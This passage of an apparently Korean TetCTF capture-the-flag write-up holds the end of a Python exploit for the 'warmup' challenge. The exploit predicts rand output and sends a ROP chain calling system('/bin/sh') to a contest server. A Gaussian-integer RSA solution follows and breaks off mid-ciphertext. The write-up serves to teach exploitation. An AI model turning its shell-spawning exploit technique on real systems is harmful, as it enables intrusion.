/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;cd&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;in&lt;/span&gt;&amp;nbsp;cds&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;rand(cd,&amp;nbsp;rounds*&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;-&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;)&amp;nbsp;==&amp;nbsp;r&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;new_cds.append(cd)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;log_info(&lt;span style=&quot;color: #ce9178;&quot;&gt;'&amp;nbsp;&amp;nbsp;found&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;{}&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'&lt;/span&gt;.format(cd))&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rounds&amp;nbsp;+=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cds&amp;nbsp;=&amp;nbsp;new_cds&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;seed&amp;nbsp;=&amp;nbsp;cds[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;log_info(&lt;span style=&quot;color: #ce9178;&quot;&gt;'seed&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;{}&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'&lt;/span&gt;.format(seed))&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.readuntil(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'Your&amp;nbsp;money:&amp;nbsp;'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;val&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;int&lt;/span&gt;(p.readuntil(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'&amp;nbsp;ZWD'&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;drop&lt;/span&gt;=&lt;span style=&quot;color: #569cd6;&quot;&gt;True&lt;/span&gt;))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;log_info(&lt;span style=&quot;color: #ce9178;&quot;&gt;'Current&amp;nbsp;value&amp;nbsp;=&amp;nbsp;'&lt;/span&gt;+&lt;span style=&quot;color: #dcdcaa;&quot;&gt;hex&lt;/span&gt;(val))&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;#&amp;nbsp;the&amp;nbsp;difference&amp;nbsp;of&amp;nbsp;addresses&amp;nbsp;between&amp;nbsp;.data&amp;nbsp;section&amp;nbsp;(0x55..........)&amp;nbsp;and&amp;nbsp;libc&amp;nbsp;(0x7f..........)&amp;nbsp;is&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;#&amp;nbsp;approximately&amp;nbsp;0x2a0000000000,&amp;nbsp;which&amp;nbsp;exceeds&amp;nbsp;RAND_MAX&amp;nbsp;(2^32-1)&amp;nbsp;;&amp;nbsp;so&amp;nbsp;we&amp;nbsp;can&amp;nbsp;always&amp;nbsp;add&amp;nbsp;values&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;#&amp;nbsp;without&amp;nbsp;concerns&amp;nbsp;about&amp;nbsp;calibration.&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lucky&amp;nbsp;=&amp;nbsp;rand(seed,&amp;nbsp;rounds*&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;-&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;diff&amp;nbsp;=&amp;nbsp;rand(seed,&amp;nbsp;rounds*&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.readuntil(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'Your&amp;nbsp;bet&amp;nbsp;(=&amp;nbsp;0&amp;nbsp;to&amp;nbsp;exit):&amp;nbsp;'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.writeline(&lt;span style=&quot;color: #4ec9b0;&quot;&gt;str&lt;/span&gt;(stack_ret-val-diff).encode())&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.readuntil(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'Your&amp;nbsp;choice:&amp;nbsp;'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.writeline(&lt;span style=&quot;color: #4ec9b0;&quot;&gt;str&lt;/span&gt;(lucky).encode())&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.readuntil(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'Your&amp;nbsp;bet&amp;nbsp;(=&amp;nbsp;0&amp;nbsp;to&amp;nbsp;exit):&amp;nbsp;'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.writeline(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'0'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.readuntil(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'Send&amp;nbsp;to&amp;nbsp;author&amp;nbsp;your&amp;nbsp;feeback:&amp;nbsp;'&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;payload&amp;nbsp;=&amp;nbsp;p64(pop_rdi_ret)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;payload&amp;nbsp;+=&amp;nbsp;p64(stack_ret&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;18&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;payload&amp;nbsp;+=&amp;nbsp;p64(libc_system)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;payload&amp;nbsp;+=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'/bin/sh&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x00&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.write(payload)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.interactive()&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;__name__&lt;/span&gt;&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;'__main__'&lt;/span&gt;&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;parser&amp;nbsp;=&amp;nbsp;argparse.ArgumentParser()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;parser.add_argument(&lt;span style=&quot;color: #ce9178;&quot;&gt;'-r'&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;'--remote'&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;action&lt;/span&gt;=&lt;span style=&quot;color: #ce9178;&quot;&gt;'store_true'&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;help&lt;/span&gt;=&lt;span style=&quot;color: #ce9178;&quot;&gt;'connect&amp;nbsp;to&amp;nbsp;remote&amp;nbsp;server'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;args&amp;nbsp;=&amp;nbsp;parser.parse_args()&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;args.remote&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;p&amp;nbsp;=&amp;nbsp;connect(&lt;span style=&quot;color: #ce9178;&quot;&gt;'192.46.228.70'&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;32337&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;else&lt;/span&gt;&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;p&amp;nbsp;=&amp;nbsp;process(&lt;span style=&quot;color: #ce9178;&quot;&gt;'./warmup'&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;libc&amp;nbsp;=&amp;nbsp;c.cdll.LoadLibrary(&lt;span style=&quot;color: #ce9178;&quot;&gt;'libc-2.23.so'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_srand,&amp;nbsp;_rand&amp;nbsp;=&amp;nbsp;libc.srand,&amp;nbsp;libc.rand&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_srand.argtypes,&amp;nbsp;_rand.argtypes&amp;nbsp;=&amp;nbsp;(c.c_uint32,),&amp;nbsp;()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_srand.restype,&amp;nbsp;_rand.restype&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;None&lt;/span&gt;,&amp;nbsp;c.c_int32&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exploit()&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1.&lt;/b&gt; TetCTF 문제 수준이 높아서 그런지 warmup 인데 나름 풀기가 까다롭다. (시나리오 세우기는 쉬운데 코딩이 힘들다...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2.&lt;/b&gt; 테스트 결과 첫 번째 &lt;code&gt;rand&lt;/code&gt; 결과값이 중복되는 경우가 대략 5만개 존재하기 때문에 seed 후보가 1개가 될때까지 반복 실행하도록 작성했다. (중복 케이스가 걸리지 않을 확률이 대략 0.38% 이긴 하지만 완벽한 익스 코드를 만들기 위해서 약간 추가적인 삽질을 했다)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;Flag: TetCTF{viettel: *100*311267385452644#}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;PWNABLE :: babyformat&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;leak이 불가능한 FSB 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(작성중)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 id=&quot;crypto-1&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;CRYPTO :: unimplemented&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RSA인데 base가 복소수이며, \(N=p^{2}q^{2}\) 이다. 비밀키와 공개키가 모두 주어졌기 때문에 복호화 코드를 올바르게 작성하면 끝나는 문제다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 Euler's Theorem을 Gaussian integer에서 확장한 정리를 살펴보면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;\[\mathrm{For\ relatively\ prime\ Gaussian\ integers\ }\alpha\mathrm{\ and\ }\eta\mathrm{,\ }\alpha^{\phi\left(\eta\right)}\mathrm{\ is\ congruent\ to\ }1\mathrm{\ modulo\ }\eta\mathrm{.}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Gaussian integer에서 정의되는 Euler totient function은 아래와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;\[\phi\left(\eta\right)=N(\eta)\prod_{\pi|\eta}\left(1-\frac{1}{N\left(\pi\right)}\right)\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 \(N\)은 Gaussian integer에 대한 norm function이며, \(\alpha=a+bi\) 일 때 \(N\left(\alpha\right)=a^{2}+b^{2}\) 이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Euler's totient function 역시 Gaussian integer로 확장될 수 있다. 그 중에서 문제에 필요한 2가지 특징을 아래에 적어보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째는, 확장된 함수가 multiplicative 하다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;\[\mathrm{For\ relatively\ prime\ Gaussian\ integers\ }\alpha\mathrm{\ and\ }\beta\mathrm{,\ }\phi\left(\alpha\beta\right)=\phi\left(\alpha\right)\phi\left(\beta\right)\mathrm{.}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 번째는 Gaussian prime의 거듭제곱에 대한 함수값에 대한 내용이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;\[\mathrm{For\ Gaussian\ prime\ }\pi\mathrm{\ and\ positive\ integer\ }k{,\ }\phi\left(\pi^{k}\right)=N\left(\pi\right)^{k}\left(1-\frac{1}{N\left(\pi\right)}\right)\mathrm{.}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 문제로 돌아와서, \(d=\phi\left(p^{2}q^{2}\right)\) 를 위 특징을 사용하여, 아래처럼 식을 전개해 구할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;\[d=\phi\left(p^{2}q^{2}\right)=\phi\left(p^{2}\right)\phi\left(q^{2}\right)=N\left(p\right)^{2}\left(1-\frac{1}{N\left(p\right)}\right)N\left(q\right)^{2}\left(1-\frac{1}{N\left(q\right)}\right)=p^{4}\left(1-\frac{1}{p^{2}}\right)q^{4}\left(1-\frac{1}{q^{2}}\right)=p^{2}q^{2}\left(p^{2}-1\right)\left(q^{2}-1\right)\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 값을 \(d\)로 설정하고 복호화를 진행하면 플래그를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;br /&gt;16&lt;br /&gt;17&lt;br /&gt;18&lt;br /&gt;19&lt;br /&gt;20&lt;br /&gt;21&lt;br /&gt;22&lt;br /&gt;23&lt;br /&gt;24&lt;br /&gt;25&lt;br /&gt;26&lt;br /&gt;27&lt;br /&gt;28&lt;br /&gt;29&lt;br /&gt;30&lt;br /&gt;31&lt;br /&gt;32&lt;br /&gt;33&lt;br /&gt;34&lt;br /&gt;35&lt;br /&gt;36&lt;br /&gt;37&lt;br /&gt;38&lt;br /&gt;39&lt;br /&gt;40&lt;br /&gt;41&lt;br /&gt;42&lt;br /&gt;43&lt;br /&gt;44&lt;br /&gt;45&lt;br /&gt;46&lt;br /&gt;47&lt;br /&gt;48&lt;br /&gt;49&lt;br /&gt;50&lt;br /&gt;51&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4; white-space: nowrap;&quot;&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;from&lt;/span&gt;&amp;nbsp;sage.all&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;import&lt;/span&gt;&amp;nbsp;*&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;from&lt;/span&gt;&amp;nbsp;collections&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;import&lt;/span&gt;&amp;nbsp;namedtuple&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;from&lt;/span&gt;&amp;nbsp;Crypto.Util.number&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;import&lt;/span&gt;&amp;nbsp;bytes_to_long,&amp;nbsp;long_to_bytes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Complex&amp;nbsp;=&amp;nbsp;namedtuple(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;Complex&quot;&lt;/span&gt;,&amp;nbsp;[&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;re&quot;&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;im&quot;&lt;/span&gt;])&lt;br /&gt;&lt;br /&gt;private_key&amp;nbsp;=&amp;nbsp;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;128329415694646850105527417663220454989310213490980740842294900866469518550360977403743209328130516433033852724185671092403884337579882897537139175073013&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;119773890850600188123646882522766760423725010264224559311769920026142724028924588464361802945459257237815241227422748585976629359167921441645714382651911&lt;/span&gt;)&lt;br /&gt;public_key&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;236252683050532196983825794701514768601125614979892312308283919527619033977486749228418695923608569040825653688303374445536392159719426640289893369552258923597180869981053519695297428186215135878525530974780390951763007339139013157234202093279764459949020588291928614938201565110828675907781512603972957429701280916745719458738970910789383870206038035515777549907045905872280803964436193687072794878040018900969772972761081589529671158140590712503582004892067155769362463889653489918914397872964087471457070748108694165412065471040954221707557816986272311750297566993468288899523479556822418109112211944932649&lt;/span&gt;&lt;br /&gt;ciphertext&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x00&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;h&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xbe\x94\x8c\xcd\xdd\x04\x80\xf4\x9d\t\xd8\x8d&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;O&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x08\xf1\xd1\xc4\xb9\xa0&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xe7\xe3\xb6\xc3\x01&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xa9\xf2\xb9\xe8\x8d\xe6\xc9\x0c&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;_#&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x93\x11\xad\x0f\x90\xd3\x0b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xb0&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;n&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x13\xea&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;~&quot;V6&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xdb&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;A&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x87\xfe\xa3&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;C&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xcb\x16\xae\xd9\x83\xdb&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;U&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xc6\x06\xcd\x9a\x94\xa9\xce\x15&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;{d&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x95&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xc2\xfb\x90&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;q&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xe7\x02\xa2\x08&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;1:_C&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xc6&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x00&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;y&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x7f&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;j4@&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xd2\xcd&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;E&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x06\x94&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xbe\xbc&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;C3&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xca\x91\xb4\x0e&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;}C&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xab\xff&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;?X&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xc3&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0u&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x06&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;9:Dc&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xb5\xdc\x9b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0%&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x98\xbd\xd9\x13\xc0\x02&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;w&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xc5\xe5&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xca\xcf\x0c\xab\xc2\x9b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xab\xd0\xcc\xbc\x0f\x9e&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\t\xf7&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;M&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xb3\xed\x86\xb5&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;E&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x8b\xbc&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xfa&lt;/span&gt;&lt;span style=&quot;color: 